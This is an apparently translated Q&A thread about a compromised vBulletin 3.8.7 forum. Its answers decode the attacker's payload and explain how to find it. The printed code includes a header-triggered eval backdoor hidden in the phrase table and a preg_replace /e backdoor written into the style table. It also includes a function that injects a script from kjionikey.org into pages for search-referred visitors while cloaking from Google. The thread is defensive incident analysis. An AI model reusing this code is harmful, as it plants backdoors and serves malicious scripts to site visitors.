4

我发现我管理的几个 vBulletin 网站最近被黑了。他们使用最新版本的 3.8 系列(3.8.7 Patch Level 2)。我通常很擅长找到他们进入的洞并修补它们,但这个让我很难过。他们将数据注入 MySQL 表中。攻击总是在他们向faq.php脚本发出 GET 请求时发生。当攻击发生时,我能够保存数据。这是$_REQUEST, $_GET, $_POST, $_COOKIE, 和$_SERVER数组。我看到的唯一不合适的地方是有两个新$_SERVER键,HTTP_SOVIET并且HTTP_PACK

http://pastebin.com/b6WdZtfK

我不得不假设这是问题的根源,但我一辈子都无法弄清楚攻击者如何设置这个变量。请求字符串中没有任何内容,cookie 数组中没有任何内容,这是一个 GET 请求,而不是 POST。

任何想法?

4

2 回答 2

4

$_SERVER['HTTP_*']只需向 HTTP 请求添加标头即可设置变量 like 。

一个简单的命令行示例是:

PHP页面:

print_r($_SERVER);

然后在命令行上:

curl --header "SOVIET: 123" localhost

你会看到$_SERVER['HTTP_SOVIET']等于123

在这种情况下,HTTP_SOVIET 的内容是 base64 编码的(放弃,它以 结尾==)。未编码,它变成:

function iai() {
global $db;
$base = base64_decode('JExLZ1RMSEs9KCRPX3JaeGw9IlxceDYyIi4iXFx4NjEiLiJcXHg3MyIuIlxceDY1Ii4iXFx4MzYiLiJcXHgzNCIuIlxceDVmIi4iXFx4NjQiLiJcXHg2NSIuIlxceDYzIi4iXFx4NmYiLiJcXHg2NCIuIlxceDY1ImFuZCRldFZKT1ZPPSJcXHg3MCIuIlxceDcyIi4iXFx4NjUiLiJcXHg2NyIuIlxceDVmIi4iXFx4NzIiLiJcXHg2NSIuIlxceDcwIi4iXFx4NmMiLiJcXHg2MSIuIlxceDYzIi4iXFx4NjUiKT9AJGV0VkpPVk8oIlxceDJmXFx4MmVcXHgyZlxceDY5XFx4NjUiLCRPX3JaeGwoIlFHVjJZV3dvWW1GelpUWTBYMlJsWTI5a1pTZ25XbTVXZFZrelVuQmlNalJuVTBkU01GRnRiRWhXUlVaNVMwTnJaMlYzTUV0YU1uaDJXVzFHYzBsRFVu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db->query_first('select styleid from '.TABLE_PREFIX.'style where styleid=\''.$style['styleid'].'\'');
  if($a['styleid']!='' and $a['replacements']=='') {
   $db->query_write('update '.TABLE_PREFIX.'style set replacements=\'a:1:{s:12:"/^(.*?)$/ise";s:'.(strlen($base)-30).':"'.$base.'";}\' where styleid=\''.$style['styleid'].'\'');
   echo 'ok';
  } else echo 'error';
}
exit;
}
@iai();

值得注意的是那里的查询:

'update '.TABLE_PREFIX.'style set replacements=\'a:1:{s:12:"/^(.*?)$/ise";s:'.(strlen($base)-30).':"'.$base.'";}\' where styleid=\''.$style['styleid'].'\''

检查您的样式表,因为这是向用户公开代码的一种方式/方式。

将您的样式表重命名为其他名称可能会暂时减轻这种攻击的影响。

在那里,base64 位有更多的 bas64,其中有更多的 bas64 最终评估:

function HdtBiGTAr() {
global $ip_x;
$file_d = '/tmp/phpYRcCBmBr';
$ip_l = (string)ip2long($ip_x);
if(file_exists($file_d) and @is_writable($file_d) and (($size_f = @filesize($file_d)) > 0)) {
 $data = file_get_contents($file_d);
 if($size_f > 1000000) file_put_contents($file_d,mt_rand(100,999).',');
  if(!stristr($data,$ip_l)) {
   file_put_contents($file_d,"$ip_l,",FILE_APPEND);
  } else return true;
 }
}
function KeHHdiXL($in) {
global $vbulletin,$ip_x;
$domain = 'kjionikey.org';
$find_me = 'vbulletin_menu.js?v=387"></script>';
$sec = 'SnBdhRAZRbGtr_';
$key = substr(md5($_SERVER['HTTP_USER_AGENT'].$ip_x.$sec),0,16);
$url = mt_rand(100,999999).'.js?250568&'.$key;
return ($out = str_replace($find_me,$find_me."\r\n<script type=\"text/javascript\" src=\"http://$domain/$url\"></script>",$in)) ? $out : $in;
}
function FzKuPfiAG() {
$ip = '';
if(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
 $arr = explode(',',$_SERVER['HTTP_X_FORWARDED_FOR']);
  if(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/',$arr['0'])) {
   $ip = $arr['0'];
  }
}
return (!empty($ip)) ? $ip : $_SERVER['REMOTE_ADDR'];
}
function Ap_hZD_() {
if(preg_match('#google|msn|live|altavista|ask|yahoo|aol|bing|exalead|excite|lycos|myspace|alexa|doubleclick#i',$_SERVER['HTTP_REFERER'])) {
 if(preg_match('#msie|firefox|opera|chrome#i',$_SERVER['HTTP_USER_AGENT'])) return true;
 }
}
function oMYYOar() {
global $ip_x;
$ip_x = FzKuPfiAG();
$a = array('216.239.','209.85.','173.255.','173.194.','89.207.','74.125.','72.14.','66.249.','66.102.','64.233.');
foreach($a as $b) {
 if(preg_match("/^$b/i",$ip_x)) return true;
 }
}
if(!empty($_SERVER['HTTP_REFERER'])) {
 if(Ap_hZD_() and !oMYYOar() and !HdtBiGTAr()) {
 $newtext = KeHHdiXL($newtext);
 }
}
return $newtext;

这会写入一个名为 的文件/tmp/phpYRcCBmBr,所以我会检查它的内容。

它还向搜索引擎隐藏了它的行为,这很好。

对用户不利的地方可能是:

function KeHHdiXL($in) {
global $vbulletin,$ip_x;
$domain = 'kjionikey.org';
$find_me = 'vbulletin_menu.js?v=387"></script>';
$sec = 'SnBdhRAZRbGtr_';
$key = substr(md5($_SERVER['HTTP_USER_AGENT'].$ip_x.$sec),0,16);
$url = mt_rand(100,999999).'.js?250568&'.$key;
return ($out = str_replace($find_me,$find_me."\r\n<script type=\"text/javascript\" src=\"http://$domain/$url\"></script>",$in)) ? $out : $in;
}

这会将一些 JS 放在由kjionikey.org. 该 JS 需要基于 IP 地址的密钥。

我会检查任何读取/执行随机 $_SERVER 变量内容的代码,但我不知道为什么会在那里。

于 2012-10-11T12:37:41.540 回答
0

在这种情况下,攻击者在您的一个常见问题解答短语(vbulletin db 表)中安装了一个后门代码,phrases作为一组chr()PHP 函数调用。

${$GeAZvLDI=chr(99).chr(114).chr(101).chr(97).chr(116).chr(101).chr(95) ...

基本上,当通过 faq.php 脚本进行评估时,会被解码为:

if(!empty($_SERVER['HTTP_PACK']) and !empty($_SERVER['HTTP_SOVIET']))
{
    if(md5(md5($_SERVER['HTTP_PACK'])) == 'rDGeOKeGGdiVLFy')
        @eval(base64_decode($_SERVER['HTTP_SOVIET']));
}

您可以通过发出这样的 SQL 查询来找到受影响的 vBulletin 短语

SELECT varname, text FROM `phrase` where text like '%chr(%'; 

虽然有很多变体,但有些使用 HEX 字符串、base64decode、断言、打包调用或只是普通的 PHP。

于 2013-05-13T12:43:27.920 回答